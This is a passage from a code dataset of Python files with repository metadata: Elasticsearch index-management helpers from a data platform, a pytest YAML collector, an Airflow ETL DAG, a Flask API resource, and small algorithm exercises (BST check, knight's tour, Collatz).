_extract_big_version(version) >= 7 else json_mapping[index_type]\n es_config = _trans_mapping_to_es_conf(properties, version)\n\n result = not _is_subset(rt_es_config, es_config)\n logger.info(\n f\"{rt_info[RESULT_TABLE_ID]} es storage config changed is {result}. from rt conf/from es \"\n f\"index: {json.dumps(rt_es_config)}, {json.dumps(es_config)}\"\n )\n return result\n\n\ndef _is_replica_changed(rt_info, current_replica):\n \"\"\"\n 根据rt的es存储配置中副本设置和实际索引中副本设置进行对比，返回是否副本设置相同\n :param rt_info: rt的配置\n :param current_replica: 当前索引的副本数量\n :return: 是否rt对应的副本设置发生了变化，True/False\n \"\"\"\n config_from_api = json.loads(rt_info[STORAGES][ES][STORAGE_CONFIG])\n num_replica = _get_replica_num(rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO], config_from_api)\n return num_replica != current_replica\n\n\ndef _get_replica_num(conn_info, es_conf):\n \"\"\"\n 根据rt的es存储配置，以及配置文件中的配置，返回es存储的副本数\n :param conn_info: es集群配置\n :param es_conf: es配置项\n :return: es存储的副本数\n \"\"\"\n conn = json.loads(conn_info)\n num_replica = 0\n if (\n ENABLE_REPLICA in conn\n and type(conn[ENABLE_REPLICA]) == bool\n and conn[ENABLE_REPLICA]\n and HAS_REPLICA in es_conf\n and type(es_conf[HAS_REPLICA]) == bool\n and es_conf[HAS_REPLICA]\n ):\n # 当集群配置了启用副本，且rt的存储配置上指定了副本时，设定索引的副本数\n num_replica = REPLICA_NUM\n\n return num_replica\n\n\ndef _construct_mapping(rt_info, num_shard, index_tag, total_shards_per_node=TOTAL_SHARDS_PER_NODE):\n \"\"\"\n 构造rt对应的es索引的mapping\n :param rt_info: rt的配置\n :param num_shard: es索引的分片数\n :param index_tag: es索引的tag\n :param total_shards_per_node: es索引单节点最大分片数\n :return: rt对应的es索引的mapping字符串\n \"\"\"\n config_from_api = json.loads(rt_info[STORAGES][ES][STORAGE_CONFIG])\n num_replica = _get_replica_num(rt_info[STORAGES][ES][STORAGE_CLUSTER][CONNECTION_INFO], config_from_api)\n rt_es_config = _trans_fields_to_es_conf(rt_info[FIELDS], config_from_api)\n version = rt_info[STORAGES][ES][STORAGE_CLUSTER][VERSION]\n\n # ES 6.x使用的字段\n copy_to_field_name = \"_copy\"\n\n mapping_field_dict = {}\n rt_field_dict = {}\n for field_name, field_type in list(_trans_rt_fields(rt_info[FIELDS]).items()):\n rt_field_dict[field_name] = field_type\n mapping_dict_value = {}\n if _extract_big_version(version) < 6:\n mapping_dict_value[INCLUDE_IN_ALL] = FALSE\n # 分词字段、json字段、聚合字段存在互斥关系\n if field_name in rt_es_config[ANALYZED_FIELDS]:\n mapping_dict_value[TYPE] = TEXT\n mapping_dict_value[DOC_VALUES] = FALSE\n if _extract_big_version(version) >= 6:\n mapping_dict_value[\"copy_to\"] = copy_to_field_name\n else:\n mapping_dict_value[INCLUDE_IN_ALL] = TRUE\n elif field_name in rt_es_config[JSON_FIELDS]:\n mapping_dict_value[TYPE] = OBJECT\n elif field_name in rt_es_config[DOC_VALUES_FIELDS]:\n mapping_dict_value[TYPE] = _convert_to_es_type(field_type)\n else:\n # 普通字段，设置为非聚合\n mapping_dict_value[TYPE] = _convert_to_es_type(field_type)\n mapping_dict_value[DOC_VALUES] = FALSE\n\n # 处理时间字段\n if field_name in rt_es_config[DATE_FIELDS]:\n mapping_dict_value[TYPE] = DATE\n mapping_dict_value[\"format\"] = (\n \"yyyy-MM-dd HH:mm:ss\"\n if field_name == DTEVENTTIME\n else \"epoch_millis\"\n if field_name == DTEVENTTIMESTAMP\n else \"strict_date_optional_time||yyyy-MM-dd HH:mm:ss||epoch_millis\"\n )\n # 添加到mapping中\n mapping_field_dict[field_name] = mapping_dict_value\n\n logger.info(\n f\"{rt_info[RESULT_TABLE_ID]}: rt fields {json.dumps(rt_field_dict)}, \"\n f\"mapping fields {json.dumps(mapping_field_dict)}\"\n )\n index_type = rt_info[RESULT_TABLE_NAME].lower() # index_type即为rt的result_table_name字段\n\n # 单节点最大分片数据，当存在副本且数据量很小时，可能存在分片比较集中的情况，但是默认只有3个分片而已。\n # 对于大索引，必须要求最大分片数超过或者等于热节点数（否则，当存在副本情况下，可能无法分配分片），且单个节点索引最大分片数为默认分片数的副本数倍数\n # total_shards_per_node 默认为2，避免节点故障无法分配分片\n index_mapping = {SETTINGS: {INDEX: {\"number_of_shards\": f\"{num_shard}\", NUMBER_OF_REPLICAS: f\"{num_replica}\"}}}\n\n if NODE_HAS_TAG:\n index_mapping[SETTINGS][INDEX][ROUTING] = {ALLOCATION: {INCLUDE: {TAG: f\"{index_tag}\"}}}\n\n # 只在内部版开启\n if RUN_VERSION == VERSION_IEOD_NAME:\n index_mapping[SETTINGS][INDEX][ROUTING][ALLOCATION][\"total_shards_per_node\"] = (\n total_shards_per_node + num_replica\n )\n\n dynamic_templates = [\n {\"strings_as_keywords\": {\"match_mapping_type\": STRING, \"mapping\": {\"norms\": FALSE, TYPE: KEYWORD}}}\n ]\n if _extract_big_version(version) >= 7:\n index_mapping[MAPPINGS] = {\"dynamic_templates\": dynamic_templates}\n else:\n index_mapping[MAPPINGS] = {f\"{index_type}\": {\"dynamic_templates\": dynamic_templates}}\n\n # 对于6.x版本的es，其mapping和旧版本（多数为5.x）不一样\n if _extract_big_version(version) >= 6:\n mapping_field_dict[copy_to_field_name] = {TYPE: TEXT}\n else:\n index_mapping[MAPPINGS][index_type][\"_all\"] = {\"enabled\": TRUE}\n\n if _extract_big_version(version) >= 7:\n index_mapping[MAPPINGS][PROPERTIES] = mapping_field_dict\n else:\n index_mapping[MAPPINGS][index_type][PROPERTIES] = mapping_field_dict\n\n return json.dumps(index_mapping)\n\n\ndef _get_index_mapping_from_es(es_addr, es_auth, index):\n \"\"\"\n 获取es中索引的mapping信息\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :return: es索引的mapping信息\n \"\"\"\n res = requests.get(f\"http://{es_addr}/{index}/_mappings\", auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n if res.status_code == 200:\n return res.json()[index][MAPPINGS]\n else:\n logger.warning(f\"{es_addr}: get index {index} mappings failed. {res.status_code} {res.text}\")\n raise EsRestRequestError(message_kv={\"msg\": res.text})\n\n\ndef _get_index_settings_from_es(es_addr, es_auth, index):\n \"\"\"\n 获取es索引的settings设置\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :return: es索引的settings设置\n \"\"\"\n res = requests.get(f\"http://{es_addr}/{index}/_settings\", auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n if res.status_code == 200:\n return res.json()\n else:\n logger.warning(f\"{es_addr}: get index {index} settings failed. {res.status_code} {res.text}\")\n raise EsRestRequestError(message_kv={\"msg\": res.text})\n\n\ndef _get_sample_data_from_es(es_addr, es_auth, index):\n \"\"\"\n 从指定索引中查找最新的十条数据并返回\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :return: es索引中的最新十条数据\n \"\"\"\n res = requests.post(\n f\"http://{es_addr}/{index}/_search/\",\n auth=es_auth,\n headers=JSON_HEADERS,\n data=json.dumps({\"sort\": [{DTEVENTTIMESTAMP: {ORDER: \"desc\"}}], \"from\": 0, \"size\": 10}),\n )\n if res.status_code == 200:\n return res.json()\n else:\n logger.warning(f\"{es_addr}: query index {index} failed. {res.status_code} {res.text}\")\n return {}\n\n\ndef _is_subset(small_conf_dict, big_conf_dict):\n \"\"\"\n 判断一个配置集是否为另一个配置集的子集，如果是，返回True，否则返回False\n :param small_conf_dict: 较小的配置集对象\n :param big_conf_dict: 较大的配置集对象\n :return: True/False\n \"\"\"\n for key, value_list in list(small_conf_dict.items()):\n if key not in list(big_conf_dict.keys()):\n return False\n else:\n for value in value_list:\n if value not in big_conf_dict[key]:\n return False\n return True\n\n\ndef _get_new_index_name(rt, max_index_name=None):\n \"\"\"\n 构造es中rt对应的最新索引名称\n :param rt: result table id\n :param max_index_name: es中此rt对应的最大的索引名称\n :return: rt最新的索引名称\n \"\"\"\n today = util.get_date_by_diff(0) # in case of 20180132 -> 20180201\n index_name = f\"{rt}_{today}00\" # 默认索引名称为rt + _ + 当前日期 + 00\n if max_index_name:\n index_date_num = max_index_name.split(\"_\")[-1]\n if today in index_date_num: # 当前最大的索引名称为当天创建的，则在最后两位上加一\n index_name = f\"{rt}_{int(index_date_num) + 1}\"\n\n return index_name.lower() # es 中索引只能是小写字符\n\n\ndef _trans_rt_fields(fields):\n \"\"\"\n 将rt的字段列表转换为在es中的字段列表\n :param fields: rt的字段列表\n :return: es中的字段列表，包含字段名称和类型\n \"\"\"\n result = {DTEVENTTIMESTAMP: DATE}\n for field in fields:\n if field[FIELD_NAME] not in SKIP_RT_FIELDS:\n result[field[FIELD_NAME]] = field[FIELD_TYPE]\n return result\n\n\ndef _convert_to_es_type(field_type):\n \"\"\"\n 将rt的字段类型映射为es中的数据类型\n :param field_type: rt的字段类型\n :return: es中的数据类型\n \"\"\"\n if INT == field_type:\n return INTEGER\n elif field_type in [LONG, FLOAT, DOUBLE]:\n return field_type\n else:\n return KEYWORD\n\n\ndef _expired_index_list(result_table_id, expires, index_name_list):\n \"\"\"\n 从index列表中获取待删除的index，这里要列表类似[rt_2019061400, rt_2019060600, rt_2019052900]，其中0529存储的\n 是0529~0606的数据，清理时需要0606达到过期时间，并删除0529，不能看到0529已到清理时间就直接清除掉。\n :param result_table_id: rt的id\n :param expires: rt的过期时间配置\n :param index_name_list: rt的索引列表，倒序排列。\n :return: 需要删除的索引的列表\n \"\"\"\n expired_index_name_list = []\n length = len(index_name_list)\n days = util.translate_expires_day(expires)\n if length <= RESERVED_INDEX_NUM or days <= 0:\n return expired_index_name_list\n\n expired_date = int(util.get_date_by_diff(-days))\n suffix_idx = len(result_table_id) + 1\n for i in range(length):\n # 截取索引名中尾部的时间那一段（591_etl_abc_2018090202 -> 2018090902，这里有可能最后一段是0）\n date_suffix = index_name_list[i][suffix_idx:]\n if len(date_suffix) < 8:\n # 不合法的索引名称\n expired_index_name_list.append(index_name_list[i])\n elif int(date_suffix[0:8]) < expired_date:\n # idx代表第一个创建日期小于expired_date的index的下标位置加1，即开始删除的位置\n idx = max(i + 1, RESERVED_INDEX_NUM)\n expired_index_name_list.extend(index_name_list[idx:])\n break\n\n logger.debug(f\"{result_table_id}: indices expired are {json.dumps(expired_index_name_list)}\")\n return expired_index_name_list\n\n\ndef _index_need_splitting(index, index_size, connection_info, pri_shard_num, docs, shard_docs_limit):\n \"\"\"\n 获取是否需要强制分裂当前的索引\n 现在的分裂条件判断过程：\n 1）index 为空不分裂\n 2）docs数超出限制，分裂\n 3）字节总量index size超过限制，分裂\n 4）index不为空，且超出分裂日期，分裂\n 5) 其他情况不分裂\n :param index: 索引名称\n :param index_size: 索引的字节数\n :param connection_info: 连接信息\n :param pri_shard_num: 主分片数据\n :param docs: index docs\n :param shard_docs_limit: 单分片docs限制\n :return: 是否需要分裂索引\n \"\"\"\n if docs == 0:\n return False\n\n index_split_threshold_in_byte, force_split_days = _get_split_index_condition(connection_info)\n index_date = int(index.split(\"_\")[-1][0:8])\n force_split_date = int(util.get_date_by_diff(-force_split_days))\n if (\n docs >= pri_shard_num * shard_docs_limit\n or index_size >= index_split_threshold_in_byte\n or force_split_date >= index_date\n ):\n return True\n\n return False\n\n\ndef _get_index_size(es_addr, es_auth, index):\n \"\"\"\n 获取当前索引的字节数\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :return: 索引包含的字节数\n \"\"\"\n res = requests.get(f\"http://{es_addr}/{index}/_stats/store\", auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n if res.status_code == 200:\n try:\n return res.json()[INDICES][index][\"primaries\"][\"store\"][\"size_in_bytes\"]\n except Exception:\n logger.info(f\"{es_addr}: failed to get index {index} size. \", exc_info=True)\n else:\n logger.warning(f\"{es_addr}: failed to get {index} stats. {res.status_code} {res.text}\")\n\n return 0\n\n\ndef _get_index_allocation_tag(es_addr, es_auth, index):\n \"\"\"\n 获取es索引中allocation tag配置项的值\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :return: allocatoin tag的值\n \"\"\"\n tag = TAG_HOT # 假定获取失败时，使用热节点的tag\n es_settings = _get_index_settings_from_es(es_addr, es_auth, index)\n try:\n tag = es_settings[index][SETTINGS][INDEX][ROUTING][ALLOCATION][INCLUDE][TAG]\n except Exception:\n logger.error(\n f\"{es_addr}: failed to get {index} allocation tag from settings {json.dumps(es_settings)}.\",\n exc_info=True,\n )\n\n return tag\n\n\ndef _get_index_replica(es_addr, es_auth, index):\n \"\"\"\n 获取es索引中number_of_replicas配置项的值\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :return: number_of_replicas的值\n \"\"\"\n replica = REPLICA_NUM # 假定获取失败时，使用默认副本设置\n es_settings = _get_index_settings_from_es(es_addr, es_auth, index)\n try:\n replica = int(es_settings[index][SETTINGS][INDEX][NUMBER_OF_REPLICAS])\n except Exception:\n logger.error(\n f\"{es_addr}: failed to get {index} number_of_replicas from settings {json.dumps(es_settings)}.\",\n exc_info=True,\n )\n\n return replica\n\n\ndef _put_index_settings(es_addr, es_auth, index, put_dict):\n \"\"\"\n 更新es索引的settings中配置项\n :param es_addr: es集群地址\n :param es_auth: es鉴权信息\n :param index: 索引名称\n :param put_dict: 更新的配置项字典\n \"\"\"\n url = f\"http://{es_addr}/{index}/_settings?master_timeout=240s\"\n res = requests.put(url, data=json.dumps(put_dict), headers=JSON_HEADERS, auth=es_auth, timeout=600)\n if res.status_code != 200:\n logger.warning(f\"{es_addr}: failed to update index {index} settings {put_dict}. {res.status_code} {res.text}\")\n\n\ndef _extract_big_version(version):\n \"\"\"\n 从给定的version中抽取大版本号,如：7.4.2 -> 7\n :param version: 完整的版本号\n :return: 数字类型的大版本号\n \"\"\"\n return int(version.split(\".\")[0])\n\n\ndef route_es_request(uri, cluster_name):\n \"\"\"\n :param uri: 请求相对路径\n :param cluster_name: 集群名称\n \"\"\"\n cluster = model_manager.get_cluster_obj_by_name_type(cluster_name, ES)\n if not cluster:\n raise ClusterNotFoundException(message_kv={CLUSTER_TYPE: ES, CLUSTER_NAME: cluster_name})\n\n es_addr, es_auth = parse_es_connection_info(cluster.connection_info)\n\n url = f\"http://{es_addr}/{uri}\"\n res = requests.get(url=url, auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n logger.info(f\"route es request, url: {url}, status: {res.status_code}\")\n\n if res.status_code == 200:\n return res.text\n else:\n logger.warning(f\"{es_addr}: route es request failed. {res.status_code} {res.text}\")\n raise EsRestRequestError(message_kv={\"msg\": res.text})\n\n\ndef cat_indices(cluster_name, limit):\n \"\"\"\n :param cluster_name: 集群名称\n :param limit: 结果表限制数\n \"\"\"\n es_addr, es_auth = es_conn_info(cluster_name)\n\n url = f\"http://{es_addr}/_cat/indices?v&s={STORE_SIZE}:desc&format=json&master_timeout=300s\"\n res = requests.get(url=url, auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n logger.info(f\"cat indices request, url: {url}, status: {res.status_code}\")\n\n result = {TOP: [], INDICES: []}\n\n if res.status_code == 200:\n indices_list = res.json()\n result[INDICES] = indices_list\n\n # 过滤出大于条数阀值的rt列表，过滤掉非法index\n filter_indices = [s for s in indices_list if re.search(r\"^\\d+_\\w+_\\d{8,}$\", s[INDEX]) is not None]\n range_index = len(filter_indices) if limit > len(filter_indices) else limit\n result[TOP] = [filter_indices[i][INDEX] for i in range(range_index)]\n return result\n else:\n logger.warning(f\"{es_addr}: cat indices request failed. {res.status_code} {res.text}\")\n raise EsRestRequestError(message_kv={\"msg\": res.text})\n\n\ndef del_indices(cluster_name, indices):\n \"\"\"\n :param cluster_name: 集群名称\n :param indices: 索引列表，支持通配符\n \"\"\"\n es_addr, es_auth = es_conn_info(cluster_name)\n index_list = indices.split(\",\")\n error_list = []\n success_list = []\n for index in index_list:\n url = f\"http://{es_addr}/{index}?master_timeout=300s\"\n try:\n res = requests.delete(url=url, auth=es_auth, timeout=HTTP_REQUEST_TIMEOUT)\n logger.info(f\"del indices request, url: {url}, status: {res.status_code}\")\n if res.status_code == 200:\n success_list.append(index)\n else:\n logger.error(f\"{es_addr}: {index}: failed to del indices for {res.text}\")\n error_list.append(index)\n except Exception:\n error_list.append(index)\n logger.error(f\"{es_addr}: {index}: del indices exception.\", exc_info=True)\n\n return {SUCCESS: success_list, FAILED: error_list}\n\n\ndef es_conn_info(cluster_name):\n \"\"\"\n 获取es连接信息\n :param cluster_name: 集群名称\n \"\"\"\n cluster = model_manager.get_cluster_obj_by_name_type(cluster_name, ES)\n if not cluster:\n raise ClusterNotFoundException(message_kv={CLUSTER_TYPE: ES, CLUSTER_NAME: cluster_name})\n\n es_addr, es_auth = parse_es_connection_info(cluster.connection_info)\n return es_addr, es_auth\n","repo_name":"Tencent/bk-base","sub_path":"src/api/datahub/storekit/es.py","file_name":"es.py","file_ext":"py","file_size_in_byte":52487,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"18"} +{"seq_id":"72170288359","text":"\"\"\"Work in progress\n\nObjectives:\n\n - Write a pytest plugin that will collect \"test*.yaml\" files and executed the yaml-formatted content as custom tests\n\n\"\"\"\nfrom py._path.local import LocalPath\nimport typing\n\nfrom _pytest import nodes\nimport pytest\nimport yaml\n\nfrom kapla.test.specs import YamlFileSpec, YamlItemSpec\n\n\nclass YamlItem(pytest.Item):\n def __init__(\n self,\n parent: nodes.Node,\n spec: YamlItemSpec,\n ) -> None:\n \"\"\"YamlItem should never be created manually.\n\n The YamlFile.collect() method is responsible for iterating over a\n YAML test file and creating YamlItem instances.\n \"\"\"\n super().__init__(spec.name, parent=parent)\n self.spec = spec\n\n def runtest(self) -> None:\n \"\"\"A dummy function to run tests.\n\n It is possible to access to `self.spec` attribute within this function.\n \"\"\"\n assert True\n\n\nclass YamlFile(pytest.File):\n def collect(self) -> typing.Iterable[typing.Union[pytest.Item, pytest.Collector]]:\n \"\"\"Yield test items from given YAML file.\n\n Pytest is designed so that once test files are discovered, tests are discovered within test files.\n Each discovered file is represented as an instance of a child class of `pytest.File` abstract class.\n\n Tests are discovered within file using the `pytest.File.collect()` method.\n\n In this method, we parse the content of a YAML file and expect it to match a specific schema.\n Once content is validated, we iterate over tests present in file and yield them as instances\n \"\"\"\n raw = yaml.safe_load(self.fspath.open())\n spec = YamlFileSpec.parse_obj(raw)\n for test in spec.tests:\n # Let's build variables and groups using both global values and test values\n # If variables are specified both globally and locally, local value (test value) is used\n variables = {**spec.variables, **test.variables}\n groups = list(set([*spec.groups, *test.groups]))\n spec = YamlItemSpec.construct(\n name=test.name,\n description=test.description,\n variables=variables,\n groups=groups,\n )\n yield YamlItem.from_parent(self, spec=spec)\n\n\ndef pytest_collect_file(parent: nodes.Node, path: LocalPath) -> typing.Any:\n \"\"\"Magic function used by pytest to collect files.\"\"\"\n if path.ext.lower() in (\".yaml\", \".yml\") and path.basename.startswith(\"test\"):\n return YamlFile.from_parent(parent, fspath=path)\n","repo_name":"charbonnierg/kapla-test","sub_path":"kapla/test/collector.py","file_name":"collector.py","file_ext":"py","file_size_in_byte":2570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31062495588","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nDesc:\nFile: 验证二叉搜索树.py\nAuthor: fangeng\nDate: 2020/5/5 15:00\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n \"\"\"\n 给定一个二叉树，判断其是否是一个有效的二叉搜索树。\n\n 假设一个二叉搜索树具有如下特征：\n 节点的左子树只包含小于当前节点的数。\n 节点的右子树只包含大于当前节点的数。\n 所有左子树和右子树自身必须也是二叉搜索树。\n\n \"\"\"\n\n def isValidBST(self, root: TreeNode) -> bool:\n if not root:\n return True\n stack = []\n pre = float('-inf')\n\n cur = root\n\n while len(stack) > 0 or cur:\n while cur:\n stack.append(cur)\n cur = cur.left\n cur = stack.pop()\n if pre < cur.val:\n pre = cur.val\n else:\n return False\n cur = cur.right\n return True\n","repo_name":"jony0113/leetcode","sub_path":"验证二叉搜索树.py","file_name":"验证二叉搜索树.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39433175713","text":"from datetime import datetime, timedelta\n\nfrom airflow import DAG\nfrom airflow.decorators import dag, task_group\n\nfrom src.dag_etl_openmeteo.tasks.start import start\nfrom src.dag_etl_openmeteo.tasks.end import end\nfrom src.dag_etl_openmeteo.tasks.read_stores import (\n read_stores,\n)\nfrom src.dag_etl_openmeteo.tasks.fetch_data_and_save_csv import (\n fetch_data_and_save_csv,\n)\nfrom src.dag_etl_openmeteo.tasks.transform_csv_data_and_save import (\n transform_csv_data_and_save,\n)\nfrom src.dag_etl_openmeteo.tasks.load_csv_to_staging import (\n load_csv_to_staging,\n)\nfrom src.dag_etl_openmeteo.tasks.transform_staging_data import (\n transform_staging_data,\n)\nfrom src.dag_etl_openmeteo.tasks.merge_into_target import (\n merge_into_target,\n)\n\n\ndefault_args = {\n \"owner\": \"gravagnani\",\n \"retries\": 0,\n \"retry_delay\": timedelta(minutes=5),\n}\n\n\n@dag(\n default_args=default_args,\n dag_id=\"dag_etl_openmeteo\",\n description=\"An ETL to import Open Meteo Data\",\n start_date=datetime(2023, 8, 15),\n schedule=None,\n # schedule_interval=\"@daily\",\n catchup=False,\n concurrency=10,\n params={\"start_date\": \"2021-07-19\", \"end_date\": \"2023-07-21\"},\n)\ndef dag_etl_openmeteo():\n @task_group(group_id=\"tg_etl_openmeteo_store\")\n def tg_etl_openmeteo_store(tgg_store):\n # Define ETL Store Level\n @task_group(group_id=\"tg_extract\")\n def tg_extract(tg_store):\n t1 = fetch_data_and_save_csv(store=tg_store)\n t2 = transform_csv_data_and_save(t1)\n t3 = load_csv_to_staging(t2)\n\n return t3\n\n @task_group(group_id=\"tg_transform\")\n def tg_transform(tg_extract_data):\n t4 = transform_staging_data(tg_extract_data)\n\n return t4\n\n @task_group(group_id=\"tg_load\")\n def tg_load(tg_transform_data):\n merge_into_target(tg_transform_data)\n\n pass\n\n run_extracted_table = tg_extract(tgg_store)\n run_transformed_table = tg_transform(run_extracted_table)\n run_tg_load = tg_load(run_transformed_table)\n\n run_extracted_table >> run_transformed_table >> run_tg_load\n\n stores = read_stores()\n tg_etl_openmeteo_store_group = tg_etl_openmeteo_store.expand(tgg_store=stores)\n\n start() >> stores >> tg_etl_openmeteo_store_group >> end()\n\n\ndag_etl_openmeteo()\n","repo_name":"gravagnani/airflow_etl_meteo_data","sub_path":"dags/dag_etl_openmeteo.py","file_name":"dag_etl_openmeteo.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14111116271","text":"\"\"\" In the cast/explicti type conversion , programmer convert one data type into another data type\n\nint(n)\n\nfloat(n)\n\ncomplex(n)\n\ncomplex(x, y) where x is real part and y is imaginary part\n\nstr(n)\n\nlist(n)\n\ntuple(n)\n\nbin(n)\n\noct(n)\n\nhex(n)\n\n\n\"\"\"\n\n\"\"\"\nPerform division between two variables `a` and `b`, and convert the result to an integer.\n\nExample Usage:\n a = 5\n b = 2\n value = a/b\n print(value)\n int_value = int(value)\n print(int_value)\n\nExpected output:\n 2.5\n 2\n\"\"\"\n\na = 5\nb = 2\nvalue = a/b\nprint(value)\nint_value = int(value)\nprint(int_value)\n\n\n\"\"\"\nThis code snippet performs an addition operation between the variable `q` and the integer value of the variable `u`. It then prints the result.\n\nExample Usage:\n q = 20\n u = '10'\n print(type(u))\n r = q + int(u)\n print(r)\n\nExpected output:\n <class 'str'>\n 30\n\"\"\"\n\nq = 20\nu = '10'\nprint(type(u))\nr = q + int(u)\nprint(r)","repo_name":"vkumaryy/Python_data","sub_path":"python_gky/basic_python/explicit_type_conversion.py","file_name":"explicit_type_conversion.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74459104361","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2017/1/12 下午9:10\n# @Author : Rain\n# @Desc : 用户项目阶段接口\n# @File : project_phase_resource.py.py\n\nfrom app.models import Const, ProjectPhase, ProjectPhaseSchema, PaginationSchema\nfrom app.utils.utils import safe_session, merge\nfrom flask_restful import Resource, reqparse\nfrom app import admin_manager, db\nfrom flask import current_app\nfrom marshmallow import fields\n\n\nparser = reqparse.RequestParser()\nparser.add_argument('project_id', type=int, location='json', store_missing=False)\nparser.add_argument('phase_id', type=int, location='json', store_missing=False)\nparser.add_argument('days', type=int, location='json', store_missing=False)\nparser.add_argument('status', type=int, location='json', store_missing=False)\n\nsearch_parser = reqparse.RequestParser()\nsearch_parser.add_argument('page', type=int, default=1, location='args', store_missing=True)\n\n\nclass ProjectPhaseResource(Resource):\n method_decorators = [admin_manager.login_required()]\n\n def get(self, ppid):\n pp = ProjectPhase.query.get_or_404(ppid)\n\n schema = ProjectPhaseSchema()\n result = schema.dump(pp).data\n\n return {Const.RESULT_KEY: result}, Const.STATUS_OK\n\n def post(self, ppid):\n pp = ProjectPhase.query.get_or_404(ppid)\n args = parser.parse_args()\n merge(pp, args, ignore=('project_id', 'phase_id'))\n\n with safe_session(db):\n db.session.add(pp)\n\n return {Const.MESSAGE_KEY: '修改成功'}, Const.STATUS_OK\n\n\nclass ProjectPhaseListResource(Resource):\n method_decorators = [admin_manager.login_required()]\n\n def get(self):\n args = search_parser.parse_args()\n page = args.get('page')\n per_page = current_app.config['ITEM_COUNT_PER_PAGE']\n\n pagination = ProjectPhase.query.paginate(page, per_page=per_page, error_out=False)\n\n schema = PaginationSchema()\n schema.declared_fields['items'] = fields.Nested(ProjectPhaseSchema, many=True)\n\n data = schema.dump(pagination).data\n\n return {Const.RESULT_KEY: data}, Const.STATUS_OK\n\n def post(self):\n pp = ProjectPhase()\n args = parser.parse_args()\n merge(pp, args)\n\n with safe_session(db):\n db.session.add(pp)\n\n return {Const.MESSAGE_KEY: '创建成功'}, Const.STATUS_OK\n","repo_name":"cash2one/APL","sub_path":"apl/app/admin/api/v1/project_phase_resource.py","file_name":"project_phase_resource.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5892324300","text":"n =8\n\ndef isPossible(board,x,y):\n if x >= 0 and y >= 0 and x < n and y < n and board[x][y] == -1:\n return True\n else:\n return False\n\ndef solveKTUtil(board,x,y,movex,movey,pos):\n if pos > 62:\n for i in range(n):\n for j in range(n):\n print(board[i][j],end=\" | \")\n print()\n print(\"-\"* 5*n)\n if pos == n**2:\n return True\n \n for i in range(8): \n new_x = x + movex[i] \n new_y = y + movey[i]\n # import pdb; pdb.set_trace()\n if(isPossible(board, new_x, new_y)): \n board[new_x][new_y] = pos \n if(solveKTUtil(board,new_x,new_y,movex,movey,pos+1)): \n return True\n \n # Backtracking \n board[new_x][new_y] = -1\n return False\n \n\n\ndef solveKT():\n board =[[-1 for i in range(n)] for i in range(n)]\n\n movex = [2, 2,-2,-2, 1, 1,-1,-1]\n movey = [1,-1, 1,-1,-2, 2, -2,2]\n\n pos = 1\n\n board[0][0] = 0\n\n solveKTUtil(board, 0, 0, movex, movey, pos)\n\n for i in range(n):\n for j in range(n):\n print(board[i][j],end=\" | \")\n print()\n print(\"-\"* 5*n)\n\nif __name__ == \"__main__\":\n solveKT()","repo_name":"NirupamDebnath/Data-Structure-Algorithms","sub_path":"Algorithms/Backtracking/knight_tour_problem.py","file_name":"knight_tour_problem.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21118765324","text":"\"\"\"\nA Collatz sequence in mathematics can be defined as follows. Starting with any positive integer:\n if n is even, the next number in the sequence is n / 2\n if n is odd, the next number in the sequence is 3n + 1\n\nIt is conjectured that every such sequence eventually reaches the number 1. Test this conjecture.\nBonus: What input n <= 1000000 gives the longest sequence?\n\"\"\"\nfrom functools import lru_cache\nfrom typing import Tuple\n\n\n@lru_cache(maxsize=1_000_000)\ndef collatz_sequence(n: int) -> Tuple[bool, int]:\n if n == 1:\n return True, 1\n elif n < 1:\n return False, 1\n\n if n & 1:\n converged, count = collatz_sequence(3 * n + 1)\n else:\n converged, count = collatz_sequence(n // 2)\n\n return converged, count + 1\n\n\ndef get_longest_sequence(max_val: int) -> int:\n num_with_longest_seq = 1\n max_count = 1\n\n for n in range(2, max_val + 1):\n converged, count = collatz_sequence(n)\n\n if converged and count > max_count:\n num_with_longest_seq = n\n max_count = count\n\n return num_with_longest_seq\n\n\nif __name__ == \"__main__\":\n for val in range(1, 100):\n assert collatz_sequence(val)[0] is True\n\n assert get_longest_sequence(1_000_000) == 837799\n","repo_name":"rrwt/daily-coding-challenge","sub_path":"daily_problems/problem_201_to_300/210.py","file_name":"210.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"36170993979","text":"from random import randint\n\narr = []\nfor i in range(1000000):\n arr.append(randint(1, 1000000000))\nf = open(\"bigdata_input.txt\", 'w')\nfor i in range(len(arr)):\n if i == len(arr)-1:\n f.write(str(arr[i]))\n else:\n 